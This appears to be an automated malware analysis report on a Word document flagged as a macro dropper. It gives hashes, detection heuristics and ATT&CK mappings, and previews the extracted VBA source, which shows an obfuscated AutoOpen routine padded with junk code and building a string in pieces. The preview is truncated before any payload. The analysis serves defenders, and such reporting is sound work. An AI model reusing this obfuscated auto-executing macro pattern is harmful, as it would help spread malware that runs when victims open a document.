Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3b8be1e384d5a404…

MALICIOUS

Office (OLE)

190.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 5282f03a0e58a377d7b0efaaee97b331 SHA-1: 085d99eb294db72e4e131cbf5cc8c127b9ca8fbe SHA-256: 3b8be1e384d5a4042e74a129152015ce01c31378e1b05b7c34b4f6855ace0aec
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening. Heuristics indicate the macro uses GetObject and p-code execution, suggesting an attempt to run arbitrary code. The ClamAV detection name 'Doc.Dropper.Bxov-6691307-0' further supports its malicious nature as a dropper. The VBA script itself is heavily obfuscated, but the presence of AutoOpen and GetObject calls strongly implies it's designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Bxov-6691307-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Bxov-6691307-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 43506 bytes
SHA-256: 609440b4042515e1919b1ba67dc42ec71c0afb3b841ea45fafe79d1d5e6ded6c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub GOxZopIhamapYgAjeXuZoBO()
Dim lyaiFISUqIqEdTUQuvi
lyaiFISUqIqEdTUQuvi = Rnd(113)
guCehIfUQyC = 25430
If lyaiFISUqIqEdTUQuvi > 42304 Then
Dim hixaLYEHuQCalEMyMAZ
hixaLYEHuQCalEMyMAZ = Log(2)

hixaLYEHuQCalEMyMAZ = hixaLYEHuQCalEMyMAZ + Log(13)
NEvHuNIqEGyHeXymOgUBO = 58236
   lyaiFISUqIqEdTUQuvi = Exp(3)
gEGYDQAhOTuGamaCEx = Val("68774.2") & "PUroJSIaelYVEL"
End If
bAvEwYmuMAdoWiSyreraRh = InStr("iEtOSaCogIzEvAZamawIHUh", "iEtOSaCogIzEvAZamawIHUhiEtOSaCogIzEvAZamawIHUh")
JYjOractaBa = InStr("CYByiUPuseiaGyt", "CYByiUPuseiaGytCYByiUPuseiaGyt")


Dim qYPYHUJpGAzYV
vINYkIVyHiDIPj = InStr("jIGUSyDoGOzIzyDiQuSE", "jIGUSyDoGOzIzyDiQuSEjIGUSyDoGOzIzyDiQuSE")
jiXOaExaCite = InStr("CuwYiIGIrARivYZulUr", "CuwYiIGIrARivYZulUrCuwYiIGIrARivYZulUr")
qYPYHUJpGAzYV = Log(9)
Debug.Print "wEnETACaRIREpIsoboYL"

liKAcAligOfasO = InStr("WYGEdisiLOvokIwANujEHYg", "WYGEdisiLOvokIwANujEHYgWYGEdisiLOvokIwANujEHYg")
qYPYHUJpGAzYV = qYPYHUJpGAzYV + Log(11)
Dim TAtYiAFHiFYJiZOSVIyK
For TAtYiAFHiFYJiZOSVIyK = 10 To 10
   Dim cIHiaQUbAZymuDEn
   cIHiaQUbAZymuDEn = Fix(22345)
Next
Dim lYCULykiUpAPr
Dim BYTOZYNyKANIpYFob
For BYTOZYNyKANIpYFob = 3 To 12
   Dim XyGefOJyKOp
   XyGefOJyKOp = Fix(33683)
Next
Debug.Print "HOlEuCaAkusyPEw"
For lYCULykiUpAPr = 10 To 13
pyHEtUqIFyhOvIZO = Val("43017.5") & "nyMAleWIkacFOlEcorGeci"
   Dim rOKOgiyTIGUhigIM
   rOKOgiyTIGUhigIM = Fix(42946)
Dim ieMENURORORUsYv
ieMENURORORUsYv = Log(6)

ieMENURORORUsYv = ieMENURORORUsYv + Log(13)
gINaFybocyQokFoBI = 59958
Next
tOiomYLENICyLyZIBO = Val("41214.8") & "gETQeRYUPaaI"
End Sub
Sub AutoOpen()
Dim vIqlaZUcEayp
vIqlaZUcEayp = Log(5)

vIqlaZUcEayp = vIqlaZUcEayp + Log(11)
jObETihaIPUlAW = 67745
Dim joLAlIzIGIRoKebOM
For joLAlIzIGIRoKebOM = 3 To 13
   Dim XqAXaQYbagaha
   XqAXaQYbagaha = Fix(69439)
Debug.Print "jeovAgjaCilCyW"
Dim pEFemuZORydaZEdY
pEFemuZORydaZEdY = Log(9)

pEFemuZORydaZEdY = pEFemuZORydaZEdY + Log(12)
Next
On Error Resume Next
Dim nohiTOcIKIrAtAli
For nohiTOcIKIrAtAli = 5 To 13
   Dim REmFYquFaciMi
   REmFYquFaciMi = Fix(7047)
nOCAMFYaIDoDirEc = Val("1541.8") & "HetuLyqYjuSixiVALOq"
Dim EdExEQUNucOfiGyTymIPOi
EdExEQUNucOfiGyTymIPOi = Rnd(125)
If EdExEQUNucOfiGyTymIPOi > 35469 Then
   EdExEQUNucOfiGyTymIPOi = Exp(5)
End If
Next
pPEcaFeWYRYKitAcopoH = InStr("RuFaLOkIZahE", "RuFaLOkIZahERuFaLOkIZahE")
qIXyRYdaTYcelIXEko = 37949


fUJYDILanAaAlUD = InStr("JexUDoVYGydoB", "JexUDoVYGydoBJexUDoVYGydoB")
Dim SaZiqaCULOSIMOJ
dAMJApoRiFU = 70118
Debug.Print "FuFeMEieWOz"
For SaZiqaCULOSIMOJ = 4 To 13
puSuGZugyiowU = InStr("WEVOiedokUNOS", "WEVOiedokUNOSWEVOiedokUNOS")
fIBIguBUVuZiJuiiMo = InStr("VecABIMGOKi", "VecABIMGOKiVecABIMGOKi")
   Dim DAKIKidefYCIfaHOn
Debug.Print "fiMybUTAXYSary"
   DAKIKidefYCIfaHOn = Fix(84391)
Next
LyZAJOVahYg = InStr("hWAKalEgefuVAqy", "hWAKalEgefuVAqyhWAKalEgefuVAqy")
zYlaBYZilIbyPI = ""
ZuNYLubeaZyDyRUqYa = InStr("GkatiiIsUSUp", "GkatiiIsUSUpGkatiiIsUSUp")
Dim iUQefYNPugYTEWAXo
iUQefYNPugYTEWAXo = Rnd(126)
If iUQefYNPugYTEWAXo > 82735 Then
   iUQefYNPugYTEWAXo = Exp(6)
End If
vuWoXAPoc = InStr("JYcILoPaTiFEPIq", "JYcILoPaTiFEPIqJYcILoPaTiFEPIq")
vAauLUHisukoadItIRURaK = 51379
Dim gzEcitesETSegXiQIH
gzEcitesETSegXiQIH = Log(1)

gzEcitesETSegXiQIH = gzEcitesETSegXiQIH + Log(10)


Dim uKODOLUBihaPseFIqI
uKODOLUBihaPseFIqI = Log(3)

Dim cVYjYSyZuLUJuMyBojud
cVYjYSyZuLUJuMyBojud = Log(1)

cVYjYSyZuLUJuMyBojud = cVYjYSyZuLUJuMyBojud + Log(10)
cOhREMUnYny = InStr("geBodIzoTMyTeKozVEMVU", "geBodIzoTMyTeKozVEMVUgeBodIzoTMyTeKozVEMVU")
uKODOLUBihaPseFIqI = uKODOLUBihaPseFIqI + Log(11)
Debug.Print "DIZQIdaMEse"
tuMIbyVOqijAJ = InStr("guBySNijezU", "guBySNijezUguBySNijezU")
 zYlaBYZilIbyPI = zYlaBYZilIbyPI + IIf((107 + 214) = 321, "sc", "Od")

... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.